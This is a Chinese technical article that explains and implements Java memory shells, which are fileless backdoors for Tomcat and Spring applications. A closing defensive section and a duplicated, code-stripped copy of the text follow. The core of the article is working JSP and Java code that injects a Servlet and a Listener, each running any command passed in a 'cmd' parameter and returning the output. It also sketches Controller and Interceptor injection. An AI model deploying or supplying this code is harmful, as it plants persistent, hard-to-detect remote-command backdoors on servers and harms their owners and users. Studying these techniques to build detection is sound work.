java内存马分析集合
字数 1414 2025-08-19 12:41:58

Java内存马分析与实现技术文档

1. 内存马概述

内存马(Memory Shell)是一种驻留在内存中的恶意后门技术,它不依赖磁盘文件,通过动态修改Java Web应用的运行时代码或配置来实现持久化访问。本文详细分析基于Tomcat容器的多种内存马实现技术。

2. Servlet内存马

2.1 传统Servlet配置分析

标准Servlet配置示例:

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
  <servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>com.naihe2.testServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>
</web-app>

关键加载流程:

  1. ContextConfig#webConfig() - 读取web.xml配置文件
  2. ContextConfig#configureContext() - 遍历web.xml内容创建Wrapper
  3. StandardContext.createWrapper() - 建立URL与Servlet的映射关系

2.2 内存马实现技术

动态注入Servlet内存马JSP代码:

<%@ page import="java.lang.reflect.Field,org.apache.catalina.core.StandardContext,
                org.apache.catalina.connector.Request,javax.servlet.http.HttpServlet,
                java.io.*" %>

<%
HttpServlet httpServlet = new HttpServlet() {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read()) != -1) {
            resp.getWriter().write(len);
        }
    }
};

// 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

// 创建并配置Wrapper
Wrapper newWrapper = stdcontext.createWrapper();
newWrapper.setName(httpServlet.getClass().getSimpleName());
newWrapper.setLoadOnStartup(1);  // 关键:设置立即加载
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());

// 添加映射
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/demo", name);
%>

关键点:

  • 通过反射获取当前请求的StandardContext对象
  • 使用createWrapper()动态创建Servlet包装器
  • setLoadOnStartup(1)确保Servlet立即加载
  • 添加子容器和URL映射实现持久化

3. Listener内存马

3.1 传统Listener配置

标准配置示例:

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
  <listener>
    <listener-class>com.naihe2.testListener</listener-class>
  </listener>
</web-app>

加载流程:

  1. 读取web.xml中的Listener配置
  2. 通过addApplicationListener添加到applicationEventListenersList
  3. 事件触发时调用相应方法

3.2 内存马实现技术

动态注入Listener内存马JSP代码:

<%@ page import="org.apache.catalina.core.StandardContext,java.lang.reflect.Field,
                org.apache.catalina.connector.Request,java.io.*,org.apache.catalina.connector.Response" %>

<%!
public class DemoListener implements ServletRequestListener {
    public void requestDestroyed(ServletRequestEvent sre) {
        try {
            // 反射获取Request和Response对象
            org.apache.catalina.connector.RequestFacade req = 
                (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = req.getClass().getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(req);
            Response response = request.getResponse();
            
            // 执行命令
            String cmd = request.getParameter("cmd");
            InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
            BufferedInputStream bis = new BufferedInputStream(is);
            int len;
            while ((len = bis.read()) != -1) {
                response.getWriter().write(len);
            }
        } catch (Exception e) { e.printStackTrace(); }
    }
    public void requestInitialized(ServletRequestEvent sre) {}
}
%>

<%
// 获取StandardContext并注入Listener
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
context.addApplicationEventListener(new DemoListener());
%>

关键点:

  • 实现ServletRequestListener接口捕获请求事件
  • 通过双重反射获取原始RequestResponse对象
  • 使用addApplicationEventListener直接添加监听器实例
  • 无需配置web.xml实现持久化

4. Spring框架内存马

4.1 Controller内存马

实现原理:

  1. 获取Spring的WebApplicationContext
  2. 获取RequestMappingHandlerMapping实例
  3. 动态注册Controller映射

内存马实现代码:

@Controller
public class Demo {
    @ResponseBody
    @RequestMapping(value="/inject", method=RequestMethod.GET)
    public void inject() throws NoSuchMethodException {
        // 获取Spring上下文
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder
            .currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 获取HandlerMapping
        RequestMappingHandlerMapping mappingHandlerMapping = 
            context.getBean(RequestMappingHandlerMapping.class);
        
        // 准备映射信息
        Method method = InjectToController.class.getMethod("test");
        PatternsRequestCondition url = new PatternsRequestCondition("/demo");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        
        // 注册Controller
        mappingHandlerMapping.registerMapping(info, new InjectToController(), method);
    }

    public class InjectToController {
        public String test() throws Exception {
            HttpServletRequest request = ((ServletRequestAttributes)
                RequestContextHolder.currentRequestAttributes()).getRequest();
            // 命令执行逻辑...
            return "result";
        }
    }
}

4.2 Interceptor内存马

实现原理:

  1. 获取Spring上下文和AbstractHandlerMapping
  2. 通过反射修改adaptedInterceptors列表
  3. 添加自定义Interceptor

内存马实现代码:

@Controller
public class TestInterceptor {
    @ResponseBody
    @RequestMapping(value="/interceptor", method=RequestMethod.GET)
    public String inject() throws Exception {
        // 获取上下文和HandlerMapping
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder
            .currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)
            context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
        
        // 反射修改拦截器列表
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        ArrayList<HandlerInterceptor> adaptedInterceptors = 
            (ArrayList<HandlerInterceptor>) field.get(abstractHandlerMapping);
        
        // 添加自定义拦截器
        adaptedInterceptors.add(new MappedInterceptor(
            new String[]{"/cl1"}, null, new InterceptorDemo()));
        
        return "ok";
    }
}

class InterceptorDemo implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, 
                           Object handler) throws Exception {
        // 命令执行逻辑...
        return false;
    }
    // 其他方法实现...
}

5. 防御措施

  1. 运行时检测

    • 监控StandardContext的修改操作
    • 检查动态添加的Servlet/Filter/Listener
    • 扫描异常的URL映射
  2. Spring防护

    • 禁止动态注册Controller
    • 监控HandlerMapping修改
    • 检查异常Interceptor
  3. 通用防护

    • 使用RASP进行行为监控
    • 定期内存扫描
    • 严格权限控制

6. 总结

本文详细分析了基于Tomcat和Spring框架的多种内存马实现技术,包括:

  • Servlet内存马:通过动态添加Wrapper实现
  • Listener内存马:利用事件监听机制
  • Spring Controller内存马:动态注册映射
  • Interceptor内存马:修改拦截器链

理解这些技术原理有助于开发更有效的防御措施,保护Java Web应用免受内存马攻击。

Java内存马分析与实现技术文档 1. 内存马概述 内存马(Memory Shell)是一种驻留在内存中的恶意后门技术,它不依赖磁盘文件,通过动态修改Java Web应用的运行时代码或配置来实现持久化访问。本文详细分析基于Tomcat容器的多种内存马实现技术。 2. Servlet内存马 2.1 传统Servlet配置分析 标准Servlet配置示例: 关键加载流程: ContextConfig#webConfig() - 读取web.xml配置文件 ContextConfig#configureContext() - 遍历web.xml内容创建Wrapper StandardContext.createWrapper() - 建立URL与Servlet的映射关系 2.2 内存马实现技术 动态注入Servlet内存马JSP代码: 关键点: 通过反射获取当前请求的 StandardContext 对象 使用 createWrapper() 动态创建Servlet包装器 setLoadOnStartup(1) 确保Servlet立即加载 添加子容器和URL映射实现持久化 3. Listener内存马 3.1 传统Listener配置 标准配置示例: 加载流程: 读取web.xml中的Listener配置 通过 addApplicationListener 添加到 applicationEventListenersList 事件触发时调用相应方法 3.2 内存马实现技术 动态注入Listener内存马JSP代码: 关键点: 实现 ServletRequestListener 接口捕获请求事件 通过双重反射获取原始 Request 和 Response 对象 使用 addApplicationEventListener 直接添加监听器实例 无需配置web.xml实现持久化 4. Spring框架内存马 4.1 Controller内存马 实现原理: 获取Spring的 WebApplicationContext 获取 RequestMappingHandlerMapping 实例 动态注册Controller映射 内存马实现代码: 4.2 Interceptor内存马 实现原理: 获取Spring上下文和 AbstractHandlerMapping 通过反射修改 adaptedInterceptors 列表 添加自定义Interceptor 内存马实现代码: 5. 防御措施 运行时检测 : 监控 StandardContext 的修改操作 检查动态添加的Servlet/Filter/Listener 扫描异常的URL映射 Spring防护 : 禁止动态注册Controller 监控HandlerMapping修改 检查异常Interceptor 通用防护 : 使用RASP进行行为监控 定期内存扫描 严格权限控制 6. 总结 本文详细分析了基于Tomcat和Spring框架的多种内存马实现技术,包括: Servlet内存马:通过动态添加Wrapper实现 Listener内存马:利用事件监听机制 Spring Controller内存马:动态注册映射 Interceptor内存马:修改拦截器链 理解这些技术原理有助于开发更有效的防御措施,保护Java Web应用免受内存马攻击。